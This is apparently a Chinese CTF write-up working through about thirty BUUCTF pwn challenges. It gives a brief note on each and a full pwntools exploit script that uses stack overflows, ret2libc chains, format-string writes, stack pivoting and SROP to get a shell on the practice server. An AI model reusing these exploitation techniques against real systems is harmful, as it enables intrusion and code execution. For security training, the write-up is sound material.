BUUCTF二进制漏洞-1
BUUCTF二进制漏洞第一页部分题目
test_your_nc
连上之后直接cat flag即可。
rip
简单的ret2text。
gets()存在栈溢出,可以找到fun()函数执行system("/bin/sh").
from pwn import *
p = remote("node4.buuoj.cn", 25327)
payload = b'a' * (0xf + 8) + p64(0x401186+1)
p.sendline(payload)
p.sendline(b'cat flag\n')
p.interactive()
这里的+1据百度是为了配合更新之后的buu环境。在本地不+1也是可以打通的。
warmup_csaw_2016
简单的ret2text。
这道题它虽然打印了危险函数的地址,但是并没有开启PIE。所以照常写。
from pwn import *
p = remote("node4.buuoj.cn", 26638)
payload = b'a' * (0x40 + 8) + p64(0x40060d)
p.sendline(payload)
p.interactive()
pwn1_sctf_2016
简单的ret2text。
有NX没PIE,虽然限制了输入的长度,但是程序会将输入里的I都替换成you,有栈溢出的可能。
from pwn import *
p = remote("node4.buuoj.cn", 26895)
payload = b'a' + b'I' * 21 + p32(0x8048F0D)
p.sendline(payload)
p.interactive()
jarvisoj_level0
简单的ret2text。
from pwn import *
p = remote("node4.buuoj.cn", 25991)
payload = b'a' * (0x80 + 8) + p64(0x400596)
p.sendline(payload)
p.sendline(b'cat flag\n')
p.interactive()
[第五空间2019 决赛]PWN5
简单的格式化字符串漏洞。
有canary有NX,栈溢出困难,考虑格式化字符串。
from pwn import *
p = remote("node4.buuoj.cn", 26997)
# 泄露栈空间
# payload = b'AAAA' + b'%p' * 15
# p.sendline(payload)
payload = b'%12$nxxx' + p32(0x0804C044)# 'xxx'用于填充位数,使得p32()的内容是第12个参数
p.recvuntil(b'your name:')
p.sendline(payload)
p.recvuntil(b'your passwd:')
p.sendline(b'0')
p.sendline(b'cat flag\n')
p.interactive()
# 泄露内容
# AAAA 0xffb511e8 0x63 (nil) 0xffb5120e 0x3 0xc2 0xf7df791b 0xffb5120e 0xffb5130c 0x41414141
ciscn_2019_c_1
好尼玛难的ret2libc,也许是因为第一次做吧
64位程序调用函数时的第一个参数由rdi传递。
from pwn import *
from LibcSearcher import *
attachment = ELF('./attachment')
p = remote('node4.buuoj.cn', 27271)
puts_plt = attachment.plt['puts']
puts_got = attachment.got['puts']
encrypt = attachment.symbols['encrypt']
pop_rdi_ret = 0x400c83
ret = 0x4006b9
# 泄露puts()的got表地址
p.sendlineafter('Input your choice!\n', b'1')
payload = b'a' * 0x58 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(encrypt)
p.sendlineafter('Input your Plaintext to be encrypted\n', payload)
p.recvline()
p.recvline()
# 根据泄露内容,计算libc基址和system()、"/bin/sh"的地址
puts_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
#攻击
payload = b'a' * 0x58 + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
p.sendlineafter('encrypted\n', payload)
p.sendline(b'cat flag\n')
p.interactive()
这道题如果按照ctf-wiki上的泄露__libc_start_main的got表地址是打不通的。。。
ciscn_2019_n_8
栈溢出,保护开得很全
from pwn import *
p = remote('node4.buuoj.cn', 29515)
attachment = ELF('./ciscn_2019_n_8')
payload = b'\x11\x00\x00\x00' * 14
p.sendline(payload)
p.sendline(b'cat flag\n')
p.interactive()
jarvisoj_level2
简单的ret2libc
from pwn import *
p = remote('node4.buuoj.cn', 28441)
attachment = ELF('./level2')
binsh_addr = 0x0804A024
system_plt = 0x08048320
payload = b'a' * (0x88 + 4) + p32(system_plt) + b'dead' + p32(binsh_addr)
p.sendline(payload)
p.sendline(b'cat flag\n')
p.interactive()
bjdctf_2020_babystack
简单的ret2text。
from pwn import *
p = remote('node4.buuoj.cn', 29381)
attachment = ELF('./bjdctf_2020_babystack')
backdoor = 0x4006E6
p.sendlineafter('[+]Please input the length of your name:', b'99')
payload = b'a' * (0x10 + 8) + p64(backdoor)
p.sendlineafter("[+]What's u name?" , payload)
p.sendline(b'cat flag\n')
p.interactive()
get_started_3dsctf_2016
奇怪的ret2text。
不过这题很神奇,据百度,需要给它一个正常退出程序的地址,不然程序会崩。
from pwn import *
p = remote('node4.buuoj.cn', 28077)
attachment = ELF('./get_started_3dsctf_2016')
backdoor = 0x080489A0
exit = 0x0804E6A0 # 就是它,这个不能动
a1 = 0x308CD64F
a2 = 0x195719D1
payload = b'a' * (0x38) + p32(backdoor) + p32(exit) + p32(a1) + p32(a2)
p.sendline(payload)
p.interactive()
[OGeek2019]babyrop
更复杂的ret2libc。
先用'\x00'绕过strlen()函数,再将buf[7]设为'\xff'便于溢出。
from pwn import *
p = remote('node4.buuoj.cn', 28640)
attachment = ELF('./pwn')
write_plt = attachment.plt['write']
write_got = attachment.got['write']
main = 0x08048825
payload = b'\x00' + b'\xff' * 8
p.sendline(payload)
payload = b'a' * (0xe7 + 4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
p.sendlineafter(b'Correct\n', payload)
write_addr = u32(p.recv(4))
libc = ELF('./libc-2.23.so')
libc_base = write_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
payload = b'\x00' + b'\xff' * 8
p.sendline(payload)
payload = b'a' * (0xe7 + 4) + p32(system_addr) + b'dead' + p32(binsh_addr)
p.sendlineafter(b'Correct\n', payload)
p.sendline(b'cat flag\n')
p.interactive()
这道题的libc要用它给的,用LibcSearcher搜出来的打不通。。。
jarvisoj_level2_x64
简单的ewr2libc。
from pwn import *
p = remote('node4.buuoj.cn', 25104)
attachment = ELF('./level2_x64')
binsh_addr = 0x0000000000600A90
pop_rdi_ret = 0x00000000004006b3
system_plt = 0x00000000004004c0
payload = b'a' * (128 + 8) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_plt)
p.sendline(payload)
p.sendline(b'cat flag\n')
p.interactive()
[HarekazeCTF2019]baby_rop
简单的ret2libc。
from pwn import *
p = remote('node4.buuoj.cn', 27443)
attachment = ELF('./babyrop')
binsh_addr = 0x0000000000601048
system_plt = 0x0000000000400490
pop_rdi_ret = 0x0000000000400683
payload = b'a' * 0x18 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_plt)
p.sendline(payload)
p.sendline(b'cat home/babyrop/flag\n')
p.interactive()
(我们要强烈谴责这种藏flag的行为)
ciscn_2019_en_2
与ciscn_2019_c_1完全一样。
ciscn_2019_n_5
ret2shellcode总是报错,所以用ret2libc。
from pwn import *
from LibcSearcher import *
p = remote('node4.buuoj.cn', 26133)
attachment = ELF('./ciscn_2019_n_5')
ret = 0x4004c9
pop_rdi_ret = 0x400713
puts_plt = attachment.plt['puts']
puts_got = attachment.got['puts']
main = 0x400636
p.sendlineafter(b'tell me your name', b'1')
payload = b'a' * (0x20 + 8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendlineafter(b'What do you want to say to me?', payload)
p.recv()
puts_addr = u64(p.recvuntil(b'\n').strip().ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
p.sendlineafter(b'tell me your name', b'1')
payload = b'a' * (0x20 + 8) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
p.sendlineafter(b'What do you want to say to me?', payload)
p.sendline(b'cat flag\n')
p.interactive()
not_the_same_3dsctf_2016
稍难的ret2text。
get_secret()函数中只有写flag的步骤,没有输出的步骤。需要调用一下printf()函数。
from pwn import *
p = remote('node4.buuoj.cn', 28017)
attachment = ELF('./not_the_same_3dsctf_2016')
get_secret = 0x080489A0
main = 0x080489E0
printf = 0x0804F0A0
flag = 0x080ECA2D
exit = 0x0804E660
payload = b'a' * 0x2d + p32(get_secret) + p32(main)
p.sendline(payload)
payload = b'a' * 0x2d + p32(printf) + p32(exit) + p32(flag)
p.sendline(payload)
p.sendline(b'cat flag\n')
p.interactive()
others_shellcode
连上就行。
ciscn_2019_ne_5
strcpy()函数没检查终止,可以溢出。
ret2text。
from pwn import *
p = remote('node4.buuoj.cn', 29537)
attachment = ELF('./ciscn_2019_ne_5')
sysyem_plt = 0x080484D0
sh = 0x80482EA # 某字符串中含有“sh”即可
p.sendlineafter(b'Please input admin password:', b'administrator')
p.sendlineafter(b'0.Exit\n:', b'1')
p.sendlineafter(b'Please input new log info:', b'a' * (0x48 + 4) + p32(sysyem_plt) + b'dead' + p32(sh))
p.sendline(b'4')
p.sendline(b'cat flag\n')
p.interactive()
想试试ret2libc但是失败了。。。
铁人三项(第五赛区)_2018_rop
ret2libc
from pwn import *
from LibcSearcher import *
p = remote('node4.buuoj.cn', 29927)
attachment = ELF('./2018_rop')
write_plt = attachment.plt['write']
write_got = attachment.got['write']
main = attachment.symbols['main']
payload = b'a' * 140 + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
p.sendline(payload)
write_addr = u32(p.recv(4))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
payload = b'a' * 140 + p32(system_addr) + b'dead' + p32(str_bin_sh)
p.sendline(payload)
p.sendline(b'cat flag\n')
p.interactive()
这道题的libc只有选1才能跑出来。
bjdctf_2020_babyrop
ret2libc。注意接受消息的长度。
from pwn import *
from LibcSearcher import *
p = remote('node4.buuoj.cn', 29294)
attachment = ELF('./bjdctf_2020_babyrop')
puts_plt = attachment.plt['puts']
puts_got = attachment.got['puts']
main = attachment.symbols['main']
pop_rdi_ret = 0x0000000000400733
payload = b'a' * 40 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendlineafter(b'Pull up your sword and tell me u story!\n', payload)
puts_addr = u64(p.recvuntil(b'\n').strip().ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
payload = b'a' * 40 + p64(pop_rdi_ret) + p64(str_bin_sh) + p64(system_addr)
p.sendlineafter(b'Pull up your sword and tell me u story!\n', payload)
p.sendline(b'cat flag\n')
p.interactive()
bjdctf_2020_babystack2
ret2text+整型溢出
from pwn import *
p = remote('node4.buuoj.cn', 27414)
backdoor = 0x400726
p.sendlineafter(b'[+]Please input the length of your name:\n', b'-1')
p.sendlineafter(b"[+]What's u name?\n", b'a' * 0x18 + p64(backdoor))
p.sendline(b'cat flag\n')
p.interactive()
jarvisoj_fm
格式化字符串漏洞
from pwn import *
p = remote('node4.buuoj.cn', 25583)
x = 0x0804A02C
payload = b'AAAA%14$nxxx' + p32(x)
p.sendline(payload)
p.sendline(b'cat flag\n')
p.interactive()
# AAAA 0xffde975c 0x50 (nil) 0xf7feb000 0xf7feb918 0xffde9760 0xffde9854 (nil) 0xffde97f4 0x2d 0x41414141
ciscn_2019_es_2
栈迁移
虽然可以溢出,但是可以溢出的长度太短了,考虑对栈空间进行转移,用以塞下ROP链。
leave = mov esp, ebp; pop ebp;
ret = pop eip;
因此,我们可以通过两次leave,ret将ebp和esp转移到我们想要的地方。
通过第一组read和printf可以获取到ebp上的值。
动调可以发现ebp上的值与read(0, s, 0x30u)中的s相差0x38。
同时,因为需要进行两次leave-ret,因此第二遍payload前四位会被pop ebp用掉,构造时多加注意。
from pwn import *
p = remote('node4.buuoj.cn', 25403)
system_addr = 0x8048400
leave_ret_addr = 0x80485FD
payload = b'a' * 0x27 + b'b'
p.send(payload)
p.recvuntil(b'b')
ebp = u32(p.recv(4))
s_addr = ebp - 0x38
payload = (b'dead' + p32(system_addr) + b'dead' + p32(s_addr + 16) + b'/bin/sh\x00').ljust(0x28, b'\x00') + p32(s_addr) + p32(leave_ret_addr)
p.sendline(payload)
p.sendline(b'cat flag\n')
p.interactive()
看雪上的大佬说:
赞!
jarvisoj_tell_me_something
ret2text
from pwn import *
p = remote('node4.buuoj.cn', 27285)
backdoor = 0x400620
payload = b'a' * 0x88 + p64(backdoor)
p.sendline(payload)
p.sendline(b'cat flag\n')
p.interactive()
[HarekazeCTF2019]baby_rop2
ret2libc
这道题不知道为什么不能用printf的got,要用read的got才行。
from pwn import *
from LibcSearcher import *
p = remote('node4.buuoj.cn', 25566)
attachment = ELF('./babyrop2')
main = 0x400636
fmt = 0x400770
pop_rdi_ret = 0x400733
pop_rsi_r15_ret = 0x400731
printf_plt = attachment.plt['printf']
printf_got = attachment.got['printf']
read_got = attachment.got['read']
payload = b'a' * 0x28 + p64(pop_rdi_ret) + p64(fmt) + p64(pop_rsi_r15_ret) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main)
p.sendline(payload)
read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(read_addr))
libc = ELF('./libc.so.6')
libc_base = read_addr - libc.symbols['read']
system_addr = libc_base + libc.symbols['system']
str_bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
payload = b'a' * 0x28 + p64(pop_rdi_ret) + p64(str_bin_sh) + p64(system_addr)
p.sendline(payload)
p.sendline(b'cat /home/babyrop2/flag\n')
p.interactive()
pwn2_sctf_2016
ret2libc。
这题的libc需要用BUU在FAQ中给你的,搜到的打不通。
from pwn import *
from LibcSearcher import *
p = remote('node4.buuoj.cn', 28589)
attachment = ELF('./pwn2_sctf_2016')
main = 0x080485B8
fmt = 0x080486F8
printf_plt = attachment.plt['printf']
printf_got = attachment.got['printf']
p.sendline(b'-1')
payload = b'a' * (0x2C + 4) + p32(printf_plt) + p32(main) + p32(fmt) + p32(printf_got)
p.sendlineafter(b'data!\n', payload)
p.recvline()
p.recvuntil(b'You said: ')
printf_addr = u32(p.recv(4))
print(hex(printf_addr))
libc = ELF('./libc-2.23.so')
libc_base = printf_addr - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']
str_bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
p.sendline(b'-1')
payload = b'a' * (0x2c+4) + p32(system_addr) + p32(main) + p32(str_bin_sh)
p.sendline(payload)
p.recvline()
p.recvline()
p.recvline()
p.sendline(b'cat flag\n')
p.interactive()
jarvisoj_level3
ret2libc。
libc老老实实用人家给的。
from pwn import *
from LibcSearcher import *
p = remote('node4.buuoj.cn', 25288)
attachment = ELF('./level3')
write_plt = attachment.plt['write']
write_got = attachment.got['write']
main = attachment.symbols['main']
payload = b'a' * (0x88 + 4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
p.sendlineafter(b'Input:\n', payload)
write_addr = u32(p.recv(4))
libc = ELF('./libc-2.23.so')
libc_base = write_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
str_bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
payload = b'a' * (0x88 + 4) + p32(system_addr) + b'dead' + p32(str_bin_sh)
p.sendlineafter(b'Input:\n', payload)
p.sendline(b'cat flag\n')
p.interactive()
ciscn_2019_s_3
普通ROP打了一天也没打通,被迫学习SROP。
from pwn import *
p = remote('node4.buuoj.cn', 25198)
context(arch = 'amd64', os = 'linux')
vuln = 0x4004ED
mov_rax_0F = 0x4004DA
syscall = 0x400517
payload = b'/bin/sh\x00' * 2 + p64(vuln)
p.send(payload)
p.recv(32)
stack = u64(p.recv(8))
str_bin_sh = stack - 0x118 # 这里很奇怪,我自己算怎么算都是0x148,但是网上的题解只有0x118才能打通。
print(hex(str_bin_sh))
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = str_bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack
frame.rip = syscall
payload = b'/bin/sh\x00' * 2 + p64(mov_rax_0F) + p64(syscall) + bytes(frame)
p.sendline(payload)
p.sendline(b'cat flag\n')
p.interactive()
picoctf_2018_rop chain
ret2text
from pwn import *
p = remote('node4.buuoj.cn', 27978)
win1 = 0x080485CB
win2 = 0x080485D8
flag = 0x0804862B
payload = b'a' * (0x18 + 4) + p32(win1) + p32(win2) + p32(flag) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)
p.sendline(payload)
p.sendline(b'cat flag\n')
p.interactive()
babyheap_0ctf_2017
pwn你妈,不会,草。
https://blog.csdn.net/qq_41696518/article/details/126677556
https://blog.csdn.net/qq_29912475/article/details/129802716